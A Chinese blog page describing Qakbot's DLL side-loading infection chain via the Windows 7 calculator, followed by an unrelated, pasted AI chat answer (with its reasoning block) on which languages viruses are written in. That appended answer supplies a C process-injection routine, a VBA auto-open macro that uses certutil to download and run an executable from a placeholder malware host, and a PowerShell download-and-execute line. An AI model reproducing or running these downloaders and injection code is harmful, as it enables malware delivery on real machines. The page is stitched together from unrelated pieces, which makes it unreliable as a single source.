Qakbot新型感染链:使用Windows7系统侧加载感染设备

安全研究人员发现,Qakbot恶意软件自7月11日起通过DLL侧加载技术,利用Windows7计算器应用进行攻击。攻击者在WinSxS目录中植入伪造DLL,欺骗系统加载,导致设备感染。Qakbot最初是银行木马,现用作恶意软件投递器,传播RansomExx、Maze等勒索软件。攻击链涉及HTML附件、ZIP文件、ISO镜像和LNK快捷方式,诱导用户触发恶意DLL加载。此漏洞不适用于Windows10,因此攻击者主要针对Windows7系统。

前言:DLL侧加载(DLL side-loading)是一种常见的攻击方法,也就是我们常说的“白加黑”技术,它利用了Windows中处理动态链接库(DLL)的方式。Qakbot恶意软件的开发者通过使用Windows7系统在被感染的计算机上侧加载恶意负载,最终达到感染设备的效果。
近日,安全研究人员ProxyLife发现,从今年7月11日开始Qakbot滥用Windows 7 Calculator应用程序进行DLL侧加载攻击。这种方法也被继续被用于恶意垃圾邮件活动。
Qakbot 恶意软件的开发者通过使用Windows7系统在被感染的计算机上侧加载恶意负载,最终达到感染设备的效果。

 

DLL侧加载(DLL side-loading)
动态链接DLL是包含了若干个函数、类和资源的库文件。它可以被其他可执行文件(如.EXE文件和其它DLL文件)动态调用。使用DL的第一个优点是使多个应用程序,甚至是不同语言编写的应用程序可以共享一个DL文件,真正实现了“资源共享”;另一个优点是将DL文件作为应用程序一个独立的模块设计时,可以提高软件的开发速度,为软件升级提供了方便。

 

而DLL侧加载(DLL side-loading)是一种常见的攻击方法,也就是我们常说的“白加黑”技术,它利用了Windows中处理动态链接库(DLL)的方式。DLL侧加载(DLL side-loading)恶意软件通过欺骗一个合法的DLL,会在Windows的WinSxS目录中放置一个伪造的恶意DLL文件,以便操作系统加载它而不是合法文件。
DLL侧加载攻击(DLL side-loading Attack)
通常在Microsoft Windows中,程序可以通过指定完整路径或使用清单等其他机制来定义在运行时加载哪些库或文件夹。程序清单可以包括DLL重定向、文件名或完整路径。因此,如果清单只引用了一个库文件名,它被视为弱引用并且容易受到DLL侧加载攻击。
DLL侧加载攻击主要是利用弱库引用和Windows默认的搜索顺序,在系统上放置一个伪装成合法DLL的恶意DLL文件,合法程序将自动加载该文件。

 
DLL侧加载通常会被勒索软件运营商使用,他们利用DLL侧加载来执行勒索软件有效载荷,以逃避安全产品的检测
Qakbot病毒
Qakbot病毒最开始是一种银行木马,受影响系统为微软Windows。Qakbot最早被发现于2009年,根据微软的分析,Qakbot被认为是由网络犯罪组织Gold Lagoon创建的。
Qakbot专门针对企业、银行、医疗、教育等机构进行强大的信息窃取功能,并持续监控用户的银行活动以欺诈大量钱财。
近年来,Qakbot发现了多个升级的变种,利用高级技术进行反检测与自我伪装,试图躲过了杀毒软件检测。后来Qakbot演变成了恶意软件投递器,勒索软件团伙在攻击的早期阶段使用它来投递攻击信标,造成了许多重大经济损失。
而且Qakbot交付的其它勒索软件包括RansomExx、Maze、ProLock和Egregor,最近,还发布了Black Basta勒索软件。

 

Qakbot新型感染链
那么Qakbot病毒是如何运行DLL侧加载(DLL side-loading)?
为了防御这种危险链接和攻击,ProxyLife和Cyble的研究人员记仔细研究和记录了新型的Qakbot感染链。
在最新的活动中使用的电子邮件带有一个HTML文件附件,该附件下载了一个有密码保护的ZIP压缩包,其中包含一个ISO文件。
打开ZIP文件的密码显示在HTML文件中,锁定存档的原因是为了躲避反病毒软件的检测。
ISO包含一个lnk文件,一个“calc.exe”(Windows计算器)的副本,以及两个DLL文件,即WindowsCodecs.dll和一个名7533.dll的有效负载。

 

当用户挂载ISO文件时,它只显示lnk文件,该文件被伪装成有重要信息的PDF文件或使用Microsoft Edge浏览器打开的文件。
然而,在Windows中,快捷方式指向计算器应用程序。
单击快捷方式通过命令提示符执行Calc.exe最终就会触发感染。
Qakbot恶意软件的新型感染链的关键在于感染文件会被伪装成其它文件。因为在加载时,Windows 7系统会自动搜索并尝试加载合法的WindowsCodecs DLL文件。

 


但是,Windows 7系统不会检查某些硬编码路径中的DLL,如果将DLL文件放置在与Calc.exe可执行文件相同的文件夹中,它将加载具有相同名称的任何DLL。
威胁者就是利用这个漏洞,创建他们自己的恶意WindowsCodecs.dll文件,然后启动其它编号.dll文件。
通过像Windows系统程序安装Qakbot后,一些安全软件在加载恶意软件时则无法检测出它,造成了这种威胁逃避了安全软件检测。
但是有一点,此DLL侧加载漏洞不适用于Windows 10 Calc.exe及以后版本,这也是威胁者会针对Windows 7版本的原因。

 


Qakbot已经有十多年的历史了,虽然投放这种病毒的活动并不频繁,但是根据记载,Emotet僵尸网络曾经通过散布这种病毒来投放勒索软件的有效载荷。
(部分消息链接:https://www.bleepingcomputer.com/news/security/qbot-phishing-uses-windows-calculator-sideloading-to-infect-devices/)


 

<think>嗯,用户之前问过计算机病毒的定义、原理和杀毒原理,现在接着问病毒是用什么语言写的。可能需要先确认用户对编程语言的了解程度,但用户可能已经有一定的技术背景,因为之前的问题比较深入。 首先,用户想知道病毒用什么语言写,可能是想了解如何防范或者学习相关知识。回答时需要涵盖常见的语言,比如低级语言如汇编,高级语言如C、C++、Python等,并解释为什么选择这些语言。 要考虑到不同语言的优缺点,比如汇编直接操作硬件,适合底层攻击;C/C++执行效率高,适合系统级病毒;脚本语言如Python和PowerShell便于快速开发,但依赖环境。还要提到宏病毒使用的VBA,因为这在文档中常见。 另外,现代病毒可能使用多种语言组合,比如核心部分用C,传播模块用Python。需要解释跨平台攻击的情况,比如使用Java或Go语言。最后,强调无论哪种语言,病毒的本质是恶意的,提醒用户注意安全。 可能用户有编程基础,想了解技术细节,或者作为学习者想拓展知识。回答要结构清晰,分点列出,用例子说明,比如WannaCry用C,NotPetya用C++,这样更具体。同时注意避免鼓励恶意使用,保持中立和教育的态度。</think>### 计算机病毒的编程语言选择 计算机病毒可以使用多种编程语言编写,其语言选择取决于**攻击目标**、**传播方式**和**隐蔽需求**,主要分为以下几类: --- #### 一、底层系统级语言(直接控制硬件) 1. **汇编语言** - 特点:直接操作寄存器(如`EAX`、`EBX`)和内存地址(`MOV [0x7C00], AX`) - 应用场景:引导扇区病毒(如Stoned病毒)、内核级Rootkit - 优势:代码体积小(可压缩到几十字节),执行效率高(无编译器优化层) 2. **C/C++** - 特点:通过指针操作实现进程注入(如`WriteProcessMemory` API) - 典型案例:WannaCry勒索病毒(利用`C`编写的`EternalBlue`漏洞利用模块) - 代码示例: ```c void InjectCode(DWORD pid, char* dllPath) { HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); LPVOID pRemoteMem = VirtualAllocEx(hProcess, NULL, strlen(dllPath), MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hProcess, pRemoteMem, dllPath, strlen(dllPath), NULL); CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, pRemoteMem, 0, NULL); } ``` --- #### 二、脚本语言(快速传播与混淆) 1. **VBA(宏病毒)** - 特点:寄生在Office文档(`.DOCM`)的宏代码中 - 传播方式:自动执行`AutoOpen()`或`Document_Open()`函数 - 示例代码: ```vb Sub Document_Open() Shell "cmd.exe /c certutil -urlcache -split -f http://malware.com/backdoor.exe C:\Windows\Temp\evil.exe" End Sub ``` 2. **PowerShell** - 特点:内存加载恶意代码(无文件攻击) - 典型攻击: ```powershell $payload = (New-Object Net.WebClient).DownloadString('http://malicious.site/script.ps1') Invoke-Expression $payload # 直接内存执行 ``` 3. **Python/JavaScript** - 应用场景: - 跨平台病毒(如通过`PyInstaller`打包成EXE) - 网页挂马(利用`<script>document.cookie</script>`窃取信息) --- #### 三、混合语言攻击(现代病毒趋势) 1. **C# + Native API** - 通过`DllImport`调用Win32 API实现提权: ```csharp [DllImport("kernel32.dll")] static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); ``` 2. **Go语言** - 优势:静态编译无依赖(单EXE文件)、跨平台(可编译Linux/Windows双版本) - 案例:2019年发现的`GoBot2`后门程序 --- ### 语言选择与防御难度关系表 | 语言类型 | 检测难度 | 传播速度 | 典型病毒家族 | |--------------|----------|----------|--------------------| | 汇编 | ★★★★★ | ★★☆ | CIH、Stoned | | C/C++ | ★★★★☆ | ★★★☆ | WannaCry、NotPetya | | PowerShell | ★★☆☆☆ | ★★★★☆ | Emotet、QakBot | | Python打包 | ★★★☆☆ | ★★★☆☆ | 钓鱼邮件附件病毒 | --- #### 防御建议 1. 禁用Office宏执行(通过组策略设置`HKCU\Software\Policies\Microsoft\Office`) 2. 限制PowerShell脚本执行策略(`Set-ExecutionPolicy Restricted`) 3. 使用静态分析工具检测可疑API调用(如`VirtualAllocEx`+`CreateRemoteThread`组合) 病毒开发语言仅是实现手段,其危害性最终取决于**攻击者的意图**和**漏洞利用能力**。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值